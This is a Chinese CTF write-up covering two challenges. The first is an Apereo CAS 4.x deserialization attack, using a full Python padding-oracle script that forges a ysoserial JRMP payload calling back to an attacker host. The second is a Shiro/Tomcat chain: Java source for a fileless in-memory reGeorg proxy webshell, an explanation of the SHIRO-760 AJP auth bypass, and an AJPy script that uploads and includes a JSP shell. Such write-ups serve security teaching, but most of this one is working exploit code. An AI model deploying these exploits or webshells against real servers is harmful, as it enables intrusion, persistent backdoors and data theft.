详细的漏洞分析可以参考 Apereo CAS 4.X execution参数反序列化漏洞分析 这里不在赘述。文章提到了,前后两个版本区间的encode方法是不一样。
在cas4.x-cas.4.1.5中的加密伪代码如下
payload = gzip(Java Serialized data) body = aes128_cbc_encode(key, iv, payload)) header = '/x00/x00/x00/x22/x00/x00/x00/x10'+iv+'/x00/x00/x00/x06'+'aes128' excution = uuid + b64encode(header + body)
CAS 4.1.7 ~ 4.2.X的加密伪代码如下
cipher = aes128_cbc_encode(iv + gzip(Java Serialized data)) data = b64encode(cipher) jwsToken = jws.sign(data, jws_key, algorithm=‘HS512’) excution = uuid + b64encode(jwsToken)
因为encode的变化excution是不一样的亦可作为判断版本的指纹。
解密题目的execution不难发现,环境是4.x-4.1.5。此外看到,前后两个版本的encode的方式唯一的差异是4.1.6之后execution的需要进行加密签名,联系到它使用的是aes/cbc说到这应该很熟悉了吧padding oracle!
这里padding oracle,仍然需要讲究技巧,直接生成cc链一类的payload进行padding大约需要padding 114组左右数据(题目两小时重启一次,gadget还需要fuzz,这是一个难以完成的任务),但是如果环境能出网的话用jrmp就需要padding 14组数据左右了,这里视环境情况仍然需要跑1h-3h不等,但是通过的分析过cve-2018-2628之后发现jrmp的payload的可以更短只需要7组,我在同区域的阿里云上多线程跑不到20分钟就有了结果(这也是题目描述Time is Flag的暗示233333)。
from jose import jws from Crypto.Cipher import AES from cStringIO import StringIO from multiprocessing.pool import ThreadPool import time import requests import base64 import zlib import uuid import binascii import json import subprocess import requests import re start_time = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()) iv = uuid.uuid4().bytes header_mode = '/x00/x00/x00/x22/x00/x00/x00/x10{iv}/x00/x00/x00/x06aes128' JAR_FILE = 'ysoserial-0.0.6-SNAPSHOT-all.jar' URL= "http://ip:port/login" headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:66.0) Gecko/20100101 Firefox/66.0","Connection":"close","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate","Content-Type":"application/x-www-form-urlencoded"} cookies = {"JSESSIONID":"ADF6653ED3808BE63B052BCED53494A3"} def base64Padding(data): missing_padding = 4 - len(data) % 4 if missing_padding and missing_padding != 4: data += '=' * missing_padding return data def compress(data): gzip_compress = zlib.compressobj(9, zlib.DEFLATED, zlib.MAX_WBITS | 16) data = gzip_compress.compress(data) + gzip_compress.flush() return data def bitFlippingAttack(fake_value, orgin_value): iv = [] for f, o in zip(fake_value, orgin_value): iv.append(chr(ord(f) ^ ord(o))) return iv def pad_string(payload): BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() return pad(payload) def send_request(paramsPost,w): response = requests.post(URL, data=paramsPost, headers=headers, cookies=cookies, allow_redirects=False) return w, response def paddingOracle(value): fakeiv = list(chr(0)*16) intermediary_value_reverse = [] for i in range(0, 16): num = 16 response_result = [] for j in range(0, 256-num+1, num): jobs = [] pool = ThreadPool(num) for w in range(j, j + num): fakeiv[N-1-i] = chr(w) #print(fakeiv) fake_iv = ''.join(fakeiv) paramsPost = {"execution":"4a538b9e-ecfe-4c95-bcc0-448d0d93f494_" + base64.b64encode(header + body + fake_iv + value),"password":"admin","submit":"LOGIN","_eventId":"submit","lt":"LT-5-pE3Oo6oDNFQUZDdapssDyN4C749Ga0-cas01.example.org","username":"admin"} job = pool.apply_async(send_request, (paramsPost,w)) jobs.append(job) pool.close() pool.join() for w in jobs: j_value, response = w.get() #print(response) if response.status_code == 200: print("="*5 + "200" + "="*5) response_result.append(j_value) print(response_result) if len(response_result) == 1: j_value = response_result[0] intermediary_value_reverse.append(chr((i+1) ^ j_value)) for w in range(0, i+1): try: fakeiv[N-w-1] = chr(ord(intermediary_value_reverse[w]) ^ (i+2)) except Exception as e: print(fakeiv, intermediary_value_reverse, w, i+1) print(base64.b64encode(value)) print(e) exit() print(fakeiv) else: print(response_result) print("Exit Because count of is " + str(len(response_result))) exit() print("="*5 + "sleep" + "="*5) time.sleep(1) intermediary_value = intermediary_value_reverse[::-1] return intermediary_value def pad_string(payload): BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() return pad(payload) if __name__ == '__main__': popen = subprocess.Popen(['java', '-jar', JAR_FILE, 'JRMPClient2', 'your_ip:your_port'],stdout=subprocess.PIPE) payload = popen.stdout.read() payload = pad_string(compress(payload)) excution = "input_excution" body = base64.b64decode(excution)[34:] header = base64.b64decode(excution)[0:34] iv = list(header[8:24]) N=16 fake_value_arr = re.findall(r'[/s/S]{16}', payload) fake_value_arr.reverse() value = body[-16:] payload_value_arr = [value] count = 1 all_count = len(fake_value_arr) print(all_count) for i in fake_value_arr: intermediary_value = paddingOracle(value) print(value, intermediary_value) fakeIv = bitFlippingAttack(intermediary_value, i) value = ''.join(fakeIv) payload_value_arr.append(value) print(count, all_count) count += 1 fakeiv = payload_value_arr.pop() payload_value_arr.reverse() payload = header_mode.format(iv=fakeiv) + ''.join(payload_value_arr) print(base64.b64encode(payload)) end_time = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()) print(start_time,end_time) f = open('/tmp/cas.txt', 'w') f.write(base64.b64encode(payload)) f.close()
通过jrmp出来fuzz gadget也很方便,这里用的是JDK7u21(在自己做的时候发现统一端口请求一次jrmp之后,后面的再一次请求会变得很慢,这里可以选择再跑一个端口出来交替使用)。接下来就是常见的读取数据库连接字符串查用户登陆的操作了,在此不细表。
这道题,由我和@leixiao合作完成,前半部分shiro不出网rce利用由leixiao负责完成,后半部分shiro bvpass acl部分由我负责完成。
先贴一个当时构思这道题时候的速记(有删改):
环境:外网一个有shiro rce的不出网应用(打包成jar),内网有一个spring+最新版shiro写一个只允许图的上传功能(打包成war),上传功能需要管理员权限(shiro鉴权)部署在有ajp漏洞的tomcat7上。
攻击思路
1.通过注入有socks5代理功能的webshell代理到内网。
2.找shiro新的权限绕过方法或者谷歌搜到我之前找的shiro ajp越权: https://issues.apache.org/jira/browse/SHIRO-760 ,越权上传文件或者用c0ny1师傅的姿势。
3.用ajp漏洞包含刚才上传的图片rce
利用难点:1.市面上还没有socks5代理功能的无文件webshell,需要选手自己从已有的jsp构造转换成无文件的webshell。2.自己挖越权或者搜到我之前提交的那个越权issue或者用其他办法。3.市面ajp协议的介绍较少,需要选手自己研究如何用ajp协议上传文件。
下面就从利用难点,逐一说明
因为这里是shiro,shiro本身也是一个filter,所以内存马最好也搞成filter(优先级最高),内存马的思路可以看基于 Tomcat无文件Webshell研究 。至于具体filter的逻辑,改一下reg就好了,下面贴一下leixiao师傅的代码。
package reGeorg; import javax.servlet.*; import java.io.IOException; public class MemReGeorg implements javax.servlet.Filter{ private javax.servlet.http.HttpServletRequest request = null; private org.apache.catalina.connector.Response response = null; private javax.servlet.http.HttpSession session =null; @Override public void init(FilterConfig filterConfig) throws ServletException { } public void destroy() {} @Override public void doFilter(ServletRequest request1, ServletResponse response1, FilterChain filterChain) throws IOException, ServletException { javax.servlet.http.HttpServletRequest request = (javax.servlet.http.HttpServletRequest)request1; javax.servlet.http.HttpServletResponse response = (javax.servlet.http.HttpServletResponse)response1; javax.servlet.http.HttpSession session = request.getSession(); String cmd = request.getHeader("X-CMD"); if (cmd != null) { response.setHeader("X-STATUS", "OK"); if (cmd.compareTo("CONNECT") == 0) { try { String target = request.getHeader("X-TARGET"); int port = Integer.parseInt(request.getHeader("X-PORT")); java.nio.channels.SocketChannel socketChannel = java.nio.channels.SocketChannel.open(); socketChannel.connect(new java.net.InetSocketAddress(target, port)); socketChannel.configureBlocking(false); session.setAttribute("socket", socketChannel); response.setHeader("X-STATUS", "OK"); } catch (java.net.UnknownHostException e) { response.setHeader("X-ERROR", e.getMessage()); response.setHeader("X-STATUS", "FAIL"); } catch (java.io.IOException e) { response.setHeader("X-ERROR", e.getMessage()); response.setHeader("X-STATUS", "FAIL"); } } else if (cmd.compareTo("DISCONNECT") == 0) { java.nio.channels.SocketChannel socketChannel = (java.nio.channels.SocketChannel)session.getAttribute("socket"); try{ socketChannel.socket().close(); } catch (Exception ex) { } session.invalidate(); } else if (cmd.compareTo("READ") == 0){ java.nio.channels.SocketChannel socketChannel = (java.nio.channels.SocketChannel)session.getAttribute("socket"); try { java.nio.ByteBuffer buf = java.nio.ByteBuffer.allocate(512); int bytesRead = socketChannel.read(buf); ServletOutputStream so = response.getOutputStream(); while (bytesRead > 0){ so.write(buf.array(),0,bytesRead); so.flush(); buf.clear(); bytesRead = socketChannel.read(buf); } response.setHeader("X-STATUS", "OK"); so.flush(); so.close(); } catch (Exception e) { response.setHeader("X-ERROR", e.getMessage()); response.setHeader("X-STATUS", "FAIL"); } } else if (cmd.compareTo("FORWARD") == 0){ java.nio.channels.SocketChannel socketChannel = (java.nio.channels.SocketChannel)session.getAttribute("socket"); try { int readlen = request.getContentLength(); byte[] buff = new byte[readlen]; request.getInputStream().read(buff, 0, readlen); java.nio.ByteBuffer buf = java.nio.ByteBuffer.allocate(readlen); buf.clear(); buf.put(buff); buf.flip(); while(buf.hasRemaining()) { socketChannel.write(buf); } response.setHeader("X-STATUS", "OK"); } catch (Exception e) { response.setHeader("X-ERROR", e.getMessage()); response.setHeader("X-STATUS", "FAIL"); socketChannel.socket().close(); } } } else { filterChain.doFilter(request, response); } } public boolean equals(Object obj) { Object[] context=(Object[]) obj; this.session = (javax.servlet.http.HttpSession ) context[2]; this.response = (org.apache.catalina.connector.Response) context[1]; this.request = (javax.servlet.http.HttpServletRequest) context[0]; try { dynamicAddFilter(new MemReGeorg(),"reGeorg","/*",request); } catch (IllegalAccessException e) { e.printStackTrace(); } return true; } public static void dynamicAddFilter(javax.servlet.Filter filter,String name,String url,javax.servlet.http.HttpServletRequest request) throws IllegalAccessException { javax.servlet.ServletContext servletContext=request.getServletContext(); if (servletContext.getFilterRegistration(name) == null) { java.lang.reflect.Field contextField = null; org.apache.catalina.core.ApplicationContext applicationContext =null; org.apache.catalina.core.StandardContext standardContext=null; java.lang.reflect.Field stateField=null; javax.servlet.FilterRegistration.Dynamic filterRegistration =null; try { contextField=servletContext.getClass().getDeclaredField("context"); contextField.setAccessible(true); applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(servletContext); contextField=applicationContext.getClass().getDeclaredField("context"); contextField.setAccessible(true); standardContext= (org.apache.catalina.core.StandardContext) contextField.get(applicationContext); stateField=org.apache.catalina.util.LifecycleBase.class.getDeclaredField("state"); stateField.setAccessible(true); stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTING_PREP); filterRegistration = servletContext.addFilter(name, filter); filterRegistration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,new String[]{url}); java.lang.reflect.Method filterStartMethod = org.apache.catalina.core.StandardContext.class.getMethod("filterStart"); filterStartMethod.setAccessible(true); filterStartMethod.invoke(standardContext, null); stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTED); }catch (Exception e){ ; }finally { stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTED); } } } }
这一点后面的提示也给出来了,可以用 how-to-detect-tomcat-ajp-lfi-more-accurately 提到的办法,也可以用我之前提交的 SHIRO-760 。poc在issue里面已经给了,漏洞的demo环境在 我github 上可以找到,这里借这个机会分享一下当时挖掘的思路。
通过分析 前人的文章 可以知道,我们可以知道在org.apache.shiro.web.util.WebUtils#getPathWithinApplication内部会对requestUri进行提取并交给patchMatches匹配以判断是否需要鉴权。
多次步入后,可以看到具体的获取uri的实现是其中的getRequestUri。getRequestUri首先会获取javax.servlet.include.request_uri的值如果获取到了就不会进入 if (uri == null)
。
而如果有师傅看过shiro上一次对越权的修复的话会发现,补丁是打在 if (uri == null)
中的,通过ajp控制 javax.servlet.include.request_uri
相当于绕过上一次的补丁点。
接着这里提取出来的uri /;/admin/page
会进入decodeAndCleanUriString中进行清洗。decodeAndCleanUriString会取分号前的内容返回。
在这里返回的就是 /
,后面shiro的正则 /admin/*
自然也就拦截不了。
此外,光绕过shiro还不行,spring不解析这条路由也没用,一个开始我也为用前人文章中的 /xxxx;/../
可以轻松绕过,黑盒发现并不行。分析ajp漏洞的时候我们知道,tomcat先调用对所有filter进行过滤然后会调用对应的servlet,而在spring都是统一由DispatcherServlet进行统一调度的。所以一开始我选择把断点打到org.springframework.web.servlet.FrameworkServlet#doGet(_DispatcherServlet继承FrameworkServlet_)。又因为spring是通过HandlerMapping来找对应的控制器,所以步入断点之后就开始找哪个地方有这个逻辑。最后在/org/springframework/web/servlet/DispatcherServlet.class:484找到。
步入之后spring把已经注册过Mapping轮询一次。在代码中我们用的@GetMapping这里就对应ReuqestMappingHandlerMapping。
步入ReuqestMappingHandlerMapping之后再多次步入,最后来到org.springframework.web.util.UrlPathHelper#getPathWithinApplication
这里三个箭头是关键的三个点,第一个箭头会对uri提取并“消杀”,第二个箭头会去pathWithinApp中servletPath之后的内容。第三个箭头返回path交给HandlerMapping匹配。
我们先来看第一个箭头“消杀”的步骤。
上图removeSemicolonContent会移除uri中 ;
, /;/admin/page
变为 //admin/page
。getSanitizedPath会对移除重复的 /
, //admin/page
变为 /admin/page
(_ps:这里并不会处理..及.这也是为啥老payload /xxx;/../无法用的原因,虽然可以绕过但是之后spring handlerMapping匹配不到。_)
再来第二个箭头,这个getRemainingPath会提取处Uri中conextPath之后的部分。举个反例如果我们把 javax.servlet.include.servlet_path
设置为 /
,那么返回给HandlerMapping将会是 admin/page
,而HandlerMapping只会匹配 /admin/page
这也是为什么 javax.servlet.include.servlet_path
需要置为空的原因。
回过头看漏洞本质还是在于spring和shiro在规范消杀url时标准不一致造成的问题。因为最新版的tomcat已经默认把ajp关了,并且在反代情况下tomcat 8009也不会对外开放所以这个洞的利用还是受很大限制的。
因为网上ajp协议讨论较少,和exp有关的只有CVE-2020-1938,不过payload的构造比较单一并不涉及到上传文件的请求,网上应该也没有介绍相关的文章。那要怎么通过ajp传?我预想的思路是选手通过阅读相关类库来解决比如 AJPy ,在tomcat.py中提供了一种部署war包getshell的操作,这里面就有上传文件的操作,可以借鉴。
import sys import os from io import BytesIO from ajpy.ajp import AjpResponse, AjpForwardRequest, AjpBodyRequest, NotFoundException from tomcat import Tomcat target_host = "127.0.0.1" gc = Tomcat(target_host, 8009) filename = "shell.jpg" payload = "<% out.println(new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(/"cat /flag.txt/").getInputStream())).readLine()); %>" with open("/tmp/request", "w+b") as f: s_form_header = '------WebKitFormBoundaryb2qpuwMoVtQJENti/r/nContent-Disposition: form-data; name="file"; filename="%s"/r/nContent-Type: application/octet-stream/r/n/r/n' % filename s_form_footer = '/r/n------WebKitFormBoundaryb2qpuwMoVtQJENti--/r/n' f.write(s_form_header.encode('utf-8')) f.write(payload.encode('utf-8')) f.write(s_form_footer.encode('utf-8')) data_len = os.path.getsize("/tmp/request") headers = { "SC_REQ_CONTENT_TYPE": "multipart/form-data; boundary=----WebKitFormBoundaryb2qpuwMoVtQJENti", "SC_REQ_CONTENT_LENGTH": "%d" % data_len, } attributes = [ { "name": "req_attribute" , "value": ("javax.servlet.include.request_uri", "/;/admin/upload", ) } , { "name": "req_attribute" , "value": ("javax.servlet.include.path_info", "/", ) } , { "name": "req_attribute" , "value": ("javax.servlet.include.servlet_path", "", ) } , ] hdrs, data = gc.perform_request("/", headers=headers, method="POST", attributes=attributes) with open("/tmp/request", "rb") as f: br = AjpBodyRequest(f, data_len, AjpBodyRequest.SERVER_TO_CONTAINER) responses = br.send_and_receive(gc.socket, gc.stream) r = AjpResponse() r.parse(gc.stream) shell_path = r.data.decode('utf-8').strip('/x00').split('/')[-1] print("="*50) print(shell_path) print("="*50) gc = Tomcat('127.0.0.1', 8009) attributes = [ {"name": "req_attribute", "value": ("javax.servlet.include.request_uri", "/",)}, {"name": "req_attribute", "value": ("javax.servlet.include.path_info", shell_path,)}, {"name": "req_attribute", "value": ("javax.servlet.include.servlet_path", "/",)}, ] hdrs, data = gc.perform_request("/uploads/1.jsp", attributes=attributes) output = sys.stdout for d in data: try: output.write(d.data.decode('utf8')) except UnicodeDecodeError: output.write(repr(d.data))